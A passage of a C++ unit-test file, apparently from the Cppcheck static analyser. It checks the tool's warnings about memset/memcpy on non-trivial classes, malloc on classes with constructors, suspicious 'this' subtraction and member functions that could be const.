\"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. 